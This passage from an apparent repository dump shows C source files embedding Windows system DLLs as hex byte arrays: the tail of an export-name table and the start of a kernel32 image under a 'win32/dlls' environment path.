\"\\x65\\x74\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x4F\\x62\\x6A\\x65\\x63\\x74\\x53\"   //etServiceObjectS\n/* 009440 */   \"\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x00\\x53\\x65\\x74\\x53\\x65\\x72\\x76\\x69\"   //ecurity.SetServi\n/* 009460 */   \"\\x63\\x65\\x53\\x74\\x61\\x74\\x75\\x73\\x00\\x53\\x65\\x74\\x54\\x68\\x72\\x65\"   //ceStatus.SetThre\n/* 009480 */   \"\\x61\\x64\\x54\\x6F\\x6B\\x65\\x6E\\x00\\x53\\x65\\x74\\x54\\x6F\\x6B\\x65\\x6E\"   //adToken.SetToken\n/* 0094A0 */   \"\\x49\\x6E\\x66\\x6F\\x72\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x53\\x65\\x74\\x54\"   //Information.SetT\n/* 0094C0 */   \"\\x72\\x61\\x63\\x65\\x43\\x61\\x6C\\x6C\\x62\\x61\\x63\\x6B\\x00\\x53\\x65\\x74\"   //raceCallback.Set\n/* 0094E0 */   \"\\x55\\x73\\x65\\x72\\x46\\x69\\x6C\\x65\\x45\\x6E\\x63\\x72\\x79\\x70\\x74\\x69\"   //UserFileEncrypti\n/* 009500 */   \"\\x6F\\x6E\\x4B\\x65\\x79\\x00\\x53\\x74\\x61\\x72\\x74\\x53\\x65\\x72\\x76\\x69\"   //onKey.StartServi\n/* 009520 */   \"\\x63\\x65\\x41\\x00\\x53\\x74\\x61\\x72\\x74\\x53\\x65\\x72\\x76\\x69\\x63\\x65\"   //ceA.StartService\n/* 009540 */   \"\\x43\\x74\\x72\\x6C\\x44\\x69\\x73\\x70\\x61\\x74\\x63\\x68\\x65\\x72\\x41\\x00\"   //CtrlDispatcherA.\n/* 009560 */   \"\\x53\\x74\\x61\\x72\\x74\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x43\\x74\\x72\\x6C\"   //StartServiceCtrl\n/* 009580 */   \"\\x44\\x69\\x73\\x70\\x61\\x74\\x63\\x68\\x65\\x72\\x57\\x00\\x53\\x74\\x61\\x72\"   //DispatcherW.Star\n/* 0095A0 */   \"\\x74\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x57\\x00\\x53\\x74\\x61\\x72\\x74\\x54\"   //tServiceW.StartT\n/* 0095C0 */   \"\\x72\\x61\\x63\\x65\\x41\\x00\\x53\\x74\\x61\\x72\\x74\\x54\\x72\\x61\\x63\\x65\"   //raceA.StartTrace\n/* 0095E0 */   \"\\x57\\x00\\x53\\x74\\x6F\\x70\\x54\\x72\\x61\\x63\\x65\\x41\\x00\\x53\\x74\\x6F\"   //W.StopTraceA.Sto\n/* 009600 */   \"\\x70\\x54\\x72\\x61\\x63\\x65\\x57\\x00\\x53\\x79\\x6E\\x63\\x68\\x72\\x6F\\x6E\"   //pTraceW.Synchron\n/* 009620 */   \"\\x69\\x7A\\x65\\x57\\x69\\x6E\\x64\\x6F\\x77\\x73\\x33\\x31\\x46\\x69\\x6C\\x65\"   //izeWindows31File\n/* 009640 */   \"\\x73\\x41\\x6E\\x64\\x57\\x69\\x6E\\x64\\x6F\\x77\\x73\\x4E\\x54\\x52\\x65\\x67\"   //sAndWindowsNTReg\n/* 009660 */   \"\\x69\\x73\\x74\\x72\\x79\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\"   //istry.SystemFunc\n/* 009680 */   \"\\x74\\x69\\x6F\\x6E\\x30\\x30\\x31\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\"   //tion001.SystemFu\n/* 0096A0 */   \"\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x30\\x32\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\"   //nction002.System\n/* 0096C0 */   \"\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x30\\x33\\x00\\x53\\x79\\x73\\x74\"   //Function003.Syst\n/* 0096E0 */   \"\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x30\\x34\\x00\\x53\\x79\"   //emFunction004.Sy\n/* 009700 */   \"\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x30\\x35\\x00\"   //stemFunction005.\n/* 009720 */   \"\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x30\"   //SystemFunction00\n/* 009740 */   \"\\x36\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\"   //6.SystemFunction\n/* 009760 */   \"\\x30\\x30\\x37\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\"   //007.SystemFuncti\n/* 009780 */   \"\\x6F\\x6E\\x30\\x30\\x38\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\"   //on008.SystemFunc\n/* 0097A0 */   \"\\x74\\x69\\x6F\\x6E\\x30\\x30\\x39\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\"   //tion009.SystemFu\n/* 0097C0 */   \"\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x31\\x30\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\"   //nction010.System\n/* 0097E0 */   \"\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x31\\x31\\x00\\x53\\x79\\x73\\x74\"   //Function011.Syst\n/* 009800 */   \"\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x31\\x32\\x00\\x53\\x79\"   //emFunction012.Sy\n/* 009820 */   \"\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x31\\x33\\x00\"   //stemFunction013.\n/* 009840 */   \"\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x31\"   //SystemFunction01\n/* 009860 */   \"\\x34\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\"   //4.SystemFunction\n/* 009880 */   \"\\x30\\x31\\x35\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\"   //015.SystemFuncti\n/* 0098A0 */   \"\\x6F\\x6E\\x30\\x31\\x36\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\"   //on016.SystemFunc\n/* 0098C0 */   \"\\x74\\x69\\x6F\\x6E\\x30\\x31\\x37\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\"   //tion017.SystemFu\n/* 0098E0 */   \"\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x31\\x38\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\"   //nction018.System\n/* 009900 */   \"\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x31\\x39\\x00\\x53\\x79\\x73\\x74\"   //Function019.Syst\n/* 009920 */   \"\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x32\\x30\\x00\\x53\\x79\"   //emFunction020.Sy\n/* 009940 */   \"\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x32\\x31\\x00\"   //stemFunction021.\n/* 009960 */   \"\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x32\"   //SystemFunction02\n/* 009980 */   \"\\x32\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\"   //2.SystemFunction\n/* 0099A0 */   \"\\x30\\x32\\x33\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\"   //023.SystemFuncti\n/* 0099C0 */   \"\\x6F\\x6E\\x30\\x32\\x34\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\"   //on024.SystemFunc\n/* 0099E0 */   \"\\x74\\x69\\x6F\\x6E\\x30\\x32\\x35\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\"   //tion025.SystemFu\n/* 009A00 */   \"\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x32\\x36\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\"   //nction026.System\n/* 009A20 */   \"\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x32\\x37\\x00\\x53\\x79\\x73\\x74\"   //Function027.Syst\n/* 009A40 */   \"\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x32\\x38\\x00\\x53\\x79\"   //emFunction028.Sy\n/* 009A60 */   \"\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x32\\x39\\x00\"   //stemFunction029.\n/* 009A80 */   \"\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x33\"   //SystemFunction03\n/* 009AA0 */   \"\\x30\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\"   //0.SystemFunction\n/* 009AC0 */   \"\\x30\\x33\\x31\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\"   //031.SystemFuncti\n/* 009AE0 */   \"\\x6F\\x6E\\x30\\x33\\x32\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\"   //on032.SystemFunc\n/* 009B00 */   \"\\x74\\x69\\x6F\\x6E\\x30\\x33\\x33\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\"   //tion033.SystemFu\n/* 009B20 */   \"\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x33\\x34\\x00\\x53\\x79\\x73\\x74\\x65\\x6D\"   //nction034.System\n/* 009B40 */   \"\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x33\\x35\\x00\\x53\\x79\\x73\\x74\"   //Function035.Syst\n/* 009B60 */   \"\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x33\\x36\\x00\\x53\\x79\"   //emFunction036.Sy\n/* 009B80 */   \"\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x34\\x30\\x00\"   //stemFunction040.\n/* 009BA0 */   \"\\x53\\x79\\x73\\x74\\x65\\x6D\\x46\\x75\\x6E\\x63\\x74\\x69\\x6F\\x6E\\x30\\x34\"   //SystemFunction04\n/* 009BC0 */   \"\\x31\\x00\\x54\\x72\\x61\\x63\\x65\\x45\\x76\\x65\\x6E\\x74\\x00\\x54\\x72\\x61\"   //1.TraceEvent.Tra\n/* 009BE0 */   \"\\x63\\x65\\x45\\x76\\x65\\x6E\\x74\\x49\\x6E\\x73\\x74\\x61\\x6E\\x63\\x65\\x00\"   //ceEventInstance.\n/* 009C00 */   \"\\x54\\x72\\x61\\x63\\x65\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x00\\x54\\x72\\x61\"   //TraceMessage.Tra\n/* 009C20 */   \"\\x63\\x65\\x4D\\x65\\x73\\x73\\x61\\x67\\x65\\x56\\x61\\x00\\x54\\x72\\x65\\x65\"   //ceMessageVa.Tree\n/* 009C40 */   \"\\x52\\x65\\x73\\x65\\x74\\x4E\\x61\\x6D\\x65\\x64\\x53\\x65\\x63\\x75\\x72\\x69\"   //ResetNamedSecuri\n/* 009C60 */   \"\\x74\\x79\\x49\\x6E\\x66\\x6F\\x41\\x00\\x54\\x72\\x65\\x65\\x52\\x65\\x73\\x65\"   //tyInfoA.TreeRese\n/* 009C80 */   \"\\x74\\x4E\\x61\\x6D\\x65\\x64\\x53\\x65\\x63\\x75\\x72\\x69\\x74\\x79\\x49\\x6E\"   //tNamedSecurityIn\n/* 009CA0 */   \"\\x66\\x6F\\x57\\x00\\x54\\x72\\x75\\x73\\x74\\x65\\x65\\x41\\x63\\x63\\x65\\x73\"   //foW.TrusteeAcces\n/* 009CC0 */   \"\\x73\\x54\\x6F\\x4F\\x62\\x6A\\x65\\x63\\x74\\x41\\x00\\x54\\x72\\x75\\x73\\x74\"   //sToObjectA.Trust\n/* 009CE0 */   \"\\x65\\x65\\x41\\x63\\x63\\x65\\x73\\x73\\x54\\x6F\\x4F\\x62\\x6A\\x65\\x63\\x74\"   //eeAccessToObject\n/* 009D00 */   \"\\x57\\x00\\x55\\x6E\\x69\\x6E\\x73\\x74\\x61\\x6C\\x6C\\x41\\x70\\x70\\x6C\\x69\"   //W.UninstallAppli\n/* 009D20 */   \"\\x63\\x61\\x74\\x69\\x6F\\x6E\\x00\\x55\\x6E\\x6C\\x6F\\x63\\x6B\\x53\\x65\\x72\"   //cation.UnlockSer\n/* 009D40 */   \"\\x76\\x69\\x63\\x65\\x44\\x61\\x74\\x61\\x62\\x61\\x73\\x65\\x00\\x55\\x6E\\x72\"   //viceDatabase.Unr\n/* 009D60 */   \"\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x49\\x64\\x6C\\x65\\x54\\x61\\x73\\x6B\\x00\"   //egisterIdleTask.\n/* 009D80 */   \"\\x55\\x6E\\x72\\x65\\x67\\x69\\x73\\x74\\x65\\x72\\x54\\x72\\x61\\x63\\x65\\x47\"   //UnregisterTraceG\n/* 009DA0 */   \"\\x75\\x69\\x64\\x73\\x00\\x55\\x70\\x64\\x61\\x74\\x65\\x54\\x72\\x61\\x63\\x65\"   //uids.UpdateTrace\n/* 009DC0 */   \"\\x41\\x00\\x55\\x70\\x64\\x61\\x74\\x65\\x54\\x72\\x61\\x63\\x65\\x57\\x00\\x57\"   //A.UpdateTraceW.W\n/* 009DE0 */   \"\\x64\\x6D\\x57\\x6D\\x69\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x4D\\x61\\x69\\x6E\"   //dmWmiServiceMain\n/* 009E00 */   \"\\x00\\x57\\x6D\\x69\\x43\\x6C\\x6F\\x73\\x65\\x42\\x6C\\x6F\\x63\\x6B\\x00\\x57\"   //.WmiCloseBlock.W\n/* 009E20 */   \"\\x6D\\x69\\x43\\x6C\\x6F\\x73\\x65\\x54\\x72\\x61\\x63\\x65\\x57\\x69\\x74\\x68\"   //miCloseTraceWith\n/* 009E40 */   \"\\x43\\x75\\x72\\x73\\x6F\\x72\\x00\\x57\\x6D\\x69\\x43\\x6F\\x6E\\x76\\x65\\x72\"   //Cursor.WmiConver\n/* 009E60 */   \"\\x74\\x54\\x69\\x6D\\x65\\x73\\x74\\x61\\x6D\\x70\\x00\\x57\\x6D\\x69\\x44\\x65\"   //tTimestamp.WmiDe\n/* 009E80 */   \"\\x76\\x49\\x6E\\x73\\x74\\x54\\x6F\\x49\\x6E\\x73\\x74\\x61\\x6E\\x63\\x65\\x4E\"   //vInstToInstanceN\n/* 009EA0 */   \"\\x61\\x6D\\x65\\x41\\x00\\x57\\x6D\\x69\\x44\\x65\\x76\\x49\\x6E\\x73\\x74\\x54\"   //ameA.WmiDevInstT\n/* 009EC0 */   \"\\x6F\\x49\\x6E\\x73\\x74\\x61\\x6E\\x63\\x65\\x4E\\x61\\x6D\\x65\\x57\\x00\\x57\"   //oInstanceNameW.W\n/* 009EE0 */   \"\\x6D\\x69\\x45\\x6E\\x75\\x6D\\x65\\x72\\x61\\x74\\x65\\x47\\x75\\x69\\x64\\x73\"   //miEnumerateGuids\n/* 009F00 */   \"\\x00\\x57\\x6D\\x69\\x45\\x78\\x65\\x63\\x75\\x74\\x65\\x4D\\x65\\x74\\x68\\x6F\"   //.WmiExecuteMetho\n/* 009F20 */   \"\\x64\\x41\\x00\\x57\\x6D\\x69\\x45\\x78\\x65\\x63\\x75\\x74\\x65\\x4D\\x65\\x74\"   //dA.WmiExecuteMet\n/* 009F40 */   \"\\x68\\x6F\\x64\\x57\\x00\\x57\\x6D\\x69\\x46\\x69\\x6C\\x65\\x48\\x61\\x6E\\x64\"   //hodW.WmiFileHand\n/* 009F60 */   \"\\x6C\\x65\\x54\\x6F\\x49\\x6E\\x73\\x74\\x61\\x6E\\x63\\x65\\x4E\\x61\\x6D\\x65\"   //leToInstanceName\n/* 009F80 */   \"\\x41\\x00\\x57\\x6D\\x69\\x46\\x69\\x6C\\x65\\x48\\x61\\x6E\\x64\\x6C\\x65\\x54\"   //A.WmiFileHandleT\n/* 009FA0 */   \"\\x6F\\x49\\x6E\\x73\\x74\\x61\\x6E\\x63\\x65\\x4E\\x61\\x6D\\x65\\x57\\x00\\x57\"   //oInstanceNameW.W\n/* 009FC0 */   \"\\x6D\\x69\\x46\\x72\\x65\\x65\\x42\\x75\\x66\\x66\\x65\\x72\\x00\\x57\\x6D\\x69\"   //miFreeBuffer.Wmi\n/* 009FE0 */   \"\\x47\\x65\\x74\\x46\\x69\\x72\\x73\\x74\\x54\\x72\\x61\\x63\\x65\\x4F\\x66\\x66\"   //GetFirstTraceOff\n/* 00A000 */   \"\\x73\\x65\\x74\\x00\\x57\\x6D\\x69\\x47\\x65\\x74\\x4E\\x65\\x78\\x74\\x45\\x76\"   //set.WmiGetNextEv\n/* 00A020 */   \"\\x65\\x6E\\x74\\x00\\x57\\x6D\\x69\\x47\\x65\\x74\\x54\\x72\\x61\\x63\\x65\\x48\"   //ent.WmiGetTraceH\n/* 00A040 */   \"\\x65\\x61\\x64\\x65\\x72\\x00\\x57\\x6D\\x69\\x4D\\x6F\\x66\\x45\\x6E\\x75\\x6D\"   //eader.WmiMofEnum\n/* 00A060 */   \"\\x65\\x72\\x61\\x74\\x65\\x52\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x73\\x41\\x00\"   //erateResourcesA.\n/* 00A080 */   \"\\x57\\x6D\\x69\\x4D\\x6F\\x66\\x45\\x6E\\x75\\x6D\\x65\\x72\\x61\\x74\\x65\\x52\"   //WmiMofEnumerateR\n/* 00A0A0 */   \"\\x65\\x73\\x6F\\x75\\x72\\x63\\x65\\x73\\x57\\x00\\x57\\x6D\\x69\\x4E\\x6F\\x74\"   //esourcesW.WmiNot\n/* 00A0C0 */   \"\\x69\\x66\\x69\\x63\\x61\\x74\\x69\\x6F\\x6E\\x52\\x65\\x67\\x69\\x73\\x74\\x72\"   //ificationRegistr\n/* 00A0E0 */   \"\\x61\\x74\\x69\\x6F\\x6E\\x41\\x00\\x57\\x6D\\x69\\x4E\\x6F\\x74\\x69\\x66\\x69\"   //ationA.WmiNotifi\n/* 00A100 */   \"\\x63\\x61\\x74\\x69\\x6F\\x6E\\x52\\x65\\x67\\x69\\x73\\x74\\x72\\x61\\x74\\x69\"   //cationRegistrati\n/* 00A120 */   \"\\x6F\\x6E\\x57\\x00\\x57\\x6D\\x69\\x4F\\x70\\x65\\x6E\\x42\\x6C\\x6F\\x63\\x6B\"   //onW.WmiOpenBlock\n/* 00A140 */   \"\\x00\\x57\\x6D\\x69\\x4F\\x70\\x65\\x6E\\x54\\x72\\x61\\x63\\x65\\x57\\x69\\x74\"   //.WmiOpenTraceWit\n/* 00A160 */   \"\\x68\\x43\\x75\\x72\\x73\\x6F\\x72\\x00\\x57\\x6D\\x69\\x50\\x61\\x72\\x73\\x65\"   //hCursor.WmiParse\n/* 00A180 */   \"\\x54\\x72\\x61\\x63\\x65\\x45\\x76\\x65\\x6E\\x74\\x00\\x57\\x6D\\x69\\x51\\x75\"   //TraceEvent.WmiQu\n/* 00A1A0 */   \"\\x65\\x72\\x79\\x41\\x6C\\x6C\\x44\\x61\\x74\\x61\\x41\\x00\\x57\\x6D\\x69\\x51\"   //eryAllDataA.WmiQ\n/* 00A1C0 */   \"\\x75\\x65\\x72\\x79\\x41\\x6C\\x6C\\x44\\x61\\x74\\x61\\x4D\\x75\\x6C\\x74\\x69\"   //ueryAllDataMulti\n/* 00A1E0 */   \"\\x70\\x6C\\x65\\x41\\x00\\x57\\x6D\\x69\\x51\\x75\\x65\\x72\\x79\\x41\\x6C\\x6C\"   //pleA.WmiQueryAll\n/* 00A200 */   \"\\x44\\x61\\x74\\x61\\x4D\\x75\\x6C\\x74\\x69\\x70\\x6C\\x65\\x57\\x00\\x57\\x6D\"   //DataMultipleW.Wm\n/* 00A220 */   \"\\x69\\x51\\x75\\x65\\x72\\x79\\x41\\x6C\\x6C\\x44\\x61\\x74\\x61\\x57\\x00\\x57\"   //iQueryAllDataW.W\n/* 00A240 */   \"\\x6D\\x69\\x51\\x75\\x65\\x72\\x79\\x47\\x75\\x69\\x64\\x49\\x6E\\x66\\x6F\\x72\"   //miQueryGuidInfor\n/* 00A260 */   \"\\x6D\\x61\\x74\\x69\\x6F\\x6E\\x00\\x57\\x6D\\x69\\x51\\x75\\x65\\x72\\x79\\x53\"   //mation.WmiQueryS\n/* 00A280 */   \"\\x69\\x6E\\x67\\x6C\\x65\\x49\\x6E\\x73\\x74\\x61\\x6E\\x63\\x65\\x41\\x00\\x57\"   //ingleInstanceA.W\n/* 00A2A0 */   \"\\x6D\\x69\\x51\\x75\\x65\\x72\\x79\\x53\\x69\\x6E\\x67\\x6C\\x65\\x49\\x6E\\x73\"   //miQuerySingleIns\n/* 00A2C0 */   \"\\x74\\x61\\x6E\\x63\\x65\\x4D\\x75\\x6C\\x74\\x69\\x70\\x6C\\x65\\x41\\x00\\x57\"   //tanceMultipleA.W\n/* 00A2E0 */   \"\\x6D\\x69\\x51\\x75\\x65\\x72\\x79\\x53\\x69\\x6E\\x67\\x6C\\x65\\x49\\x6E\\x73\"   //miQuerySingleIns\n/* 00A300 */   \"\\x74\\x61\\x6E\\x63\\x65\\x4D\\x75\\x6C\\x74\\x69\\x70\\x6C\\x65\\x57\\x00\\x57\"   //tanceMultipleW.W\n/* 00A320 */   \"\\x6D\\x69\\x51\\x75\\x65\\x72\\x79\\x53\\x69\\x6E\\x67\\x6C\\x65\\x49\\x6E\\x73\"   //miQuerySingleIns\n/* 00A340 */   \"\\x74\\x61\\x6E\\x63\\x65\\x57\\x00\\x57\\x6D\\x69\\x52\\x65\\x63\\x65\\x69\\x76\"   //tanceW.WmiReceiv\n/* 00A360 */   \"\\x65\\x4E\\x6F\\x74\\x69\\x66\\x69\\x63\\x61\\x74\\x69\\x6F\\x6E\\x73\\x41\\x00\"   //eNotificationsA.\n/* 00A380 */   \"\\x57\\x6D\\x69\\x52\\x65\\x63\\x65\\x69\\x76\\x65\\x4E\\x6F\\x74\\x69\\x66\\x69\"   //WmiReceiveNotifi\n/* 00A3A0 */   \"\\x63\\x61\\x74\\x69\\x6F\\x6E\\x73\\x57\\x00\\x57\\x6D\\x69\\x53\\x65\\x74\\x53\"   //cationsW.WmiSetS\n/* 00A3C0 */   \"\\x69\\x6E\\x67\\x6C\\x65\\x49\\x6E\\x73\\x74\\x61\\x6E\\x63\\x65\\x41\\x00\\x57\"   //ingleInstanceA.W\n/* 00A3E0 */   \"\\x6D\\x69\\x53\\x65\\x74\\x53\\x69\\x6E\\x67\\x6C\\x65\\x49\\x6E\\x73\\x74\\x61\"   //miSetSingleInsta\n/* 00A400 */   \"\\x6E\\x63\\x65\\x57\\x00\\x57\\x6D\\x69\\x53\\x65\\x74\\x53\\x69\\x6E\\x67\\x6C\"   //nceW.WmiSetSingl\n/* 00A420 */   \"\\x65\\x49\\x74\\x65\\x6D\\x41\\x00\\x57\\x6D\\x69\\x53\\x65\\x74\\x53\\x69\\x6E\"   //eItemA.WmiSetSin\n/* 00A440 */   \"\\x67\\x6C\\x65\\x49\\x74\\x65\\x6D\\x57\\x00\\x57\\x6F\\x77\\x36\\x34\\x57\\x69\"   //gleItemW.Wow64Wi\n/* 00A460 */   \"\\x6E\\x33\\x32\\x41\\x70\\x69\\x45\\x6E\\x74\\x72\\x79\\x00\\x57\\x72\\x69\\x74\"   //n32ApiEntry.Writ\n/* 00A480 */   \"\\x65\\x45\\x6E\\x63\\x72\\x79\\x70\\x74\\x65\\x64\\x46\\x69\\x6C\\x65\\x52\\x61\"   //eEncryptedFileRa\n/* 00A4A0 */   \"\\x77\\x00\\x90\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"   //w...............\n;\n\n"
  },
  {
    "path": "src/environment/win32/dlls/kernel32dll.c",
    "content": "const char kernel32_dll_7c800000[] =\n/* 7C800000 */ \"\\x4D\\x5A\\x90\\x00\\x03\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\xFF\\xFF\\x00\\x00\" // MZ.\u0003...\u0004...ÿÿ..\n/* 7C800010 */ \"\\xB8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x40\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ¸.......@.......\n/* 7C800020 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // ................\n/* 7C800030 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE8\\x00\\x00\\x00\" // ............è...\n/* 7C800040 */ \"\\x0E\\x1F\\xBA\\x0E\\x00\\xB4\\x09\\xCD\\x21\\xB8\\x01\\x4C\\xCD\\x21\\x54\\x68\" // \u000e\u001fº\u000e.´.Í!¸\u0001LÍ!Th\n/* 7C800050 */ \"\\x69\\x73\\x20\\x70\\x72\\x6F\\x67\\x72\\x61\\x6D\\x20\\x63\\x61\\x6E\\x6E\\x6F\" // is program canno\n/* 7C800060 */ \"\\x74\\x20\\x62\\x65\\x20\\x72\\x75\\x6E\\x20\\x69\\x6E\\x20\\x44\\x4F\\x53\\x20\" // t be run in DOS\n/* 7C800070 */ \"\\x6D\\x6F\\x64\\x65\\x2E\\x0D\\x0D\\x0A\\x24\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // mode....$.......\n/* 7C800080 */ \"\\x17\\x86\\x20\\xA4\\x53\\xE7\\x4E\\xF7\\x53\\xE7\\x4E\\xF7\\x53\\xE7\\x4E\\xF7\" // \u0017 ¤SçN÷SçN÷SçN÷\n/* 7C800090 */ \"\\x53\\xE7\\x4F\\xF7\\xDA\\xE6\\x4E\\xF7\\x90\\xE8\\x13\\xF7\\x50\\xE7\\x4E\\xF7\" // SçO÷ÚæN÷è\u0013÷PçN÷\n/* 7C8000A0 */ \"\\x90\\xE8\\x12\\xF7\\x52\\xE7\\x4E\\xF7\\x90\\xE8\\x10\\xF7\\x52\\xE7\\x4E\\xF7\" // è\u0012÷RçN÷è\u0010÷RçN÷\n/* 7C8000B0 */ \"\\x90\\xE8\\x41\\xF7\\x56\\xE7\\x4E\\xF7\\x90\\xE8\\x11\\xF7\\x8E\\xE7\\x4E\\xF7\" // èA÷VçN÷è\u0011÷çN÷\n/* 7C8000C0 */ \"\\x90\\xE8\\x2E\\xF7\\x57\\xE7\\x4E\\xF7\\x90\\xE8\\x14\\xF7\\x52\\xE7\\x4E\\xF7\" // è.÷WçN÷è\u0014÷RçN÷\n/* 7C8000D0 */ \"\\x52\\x69\\x63\\x68\\x53\\xE7\\x4E\\xF7\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // RichSçN÷........\n/* 7C8000E0 */ \"\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x50\\x45\\x00\\x00\\x4C\\x01\\x04\\x00\" // ........PE..L\u0001\u0004.\n/* 7C8000F0 */ \"\\x99\\x9A\\xAB\\x44\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xE0\\x00\\x0E\\x21\" // «D........à.\u000e!\n/* 7C800100 */ \"\\x0B\\x01\\x07\\x0A\\x00\\x20\\x08\\x00\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00\" // \u000b\u0001\u0007.. \b...\b.....\n/* 7C800110 */ \"\\xAE\\xB5\\x00\\x00\\x00\\x10\\x00\\x00\\x00\\xF0\\x07\\x00\\x00\\x00\\x80\\x7C\" // ®µ...\u0010...ð\u0007...|\n/* 7C800120 */ \"\\x00\\x10\\x00\\x00\\x00\\x02\\x00\\x00\\x05\\x00\\x01\\x00\\x05\\x00\\x01\\x00\" // .\u0010...\u0002..\u0005.\u0001.\u0005.\u0001.\n/* 7C800130 */ \"\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x60\\x10\\x00\\x00\\x04\\x00\\x00\" // \u0004........`\u0010..\u0004..\n/* 7C800140 */ \"\\x82\\xFA\\x10\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x04\\x00\\x00\\x10\\x00\\x00\" // ú\u0010.\u0003.....\u0004..\u0010..\n/* 7C800150 */ \"\\x00\\x00\\x10\\x00\\x00\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x10\\x00\\x00\\x00\" // ..\u0010..\u0010......\u0010...\n/* 7C800160 */ \"\\x1C\\x26\\x00\\x00\\x7B\\x6C\\x00\\x00\\x70\\x06\\x08\\x00\\x28\\x00\\x00\\x00\" // \u001c&..{l..p\u0006\b.(...\n/* 7C800170 */ \"\\x00\\x80\\x08\\x00\\xC8\\x7E\\x07\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\" // .\b.È~\u0007.........\n/* 7C800180 */ 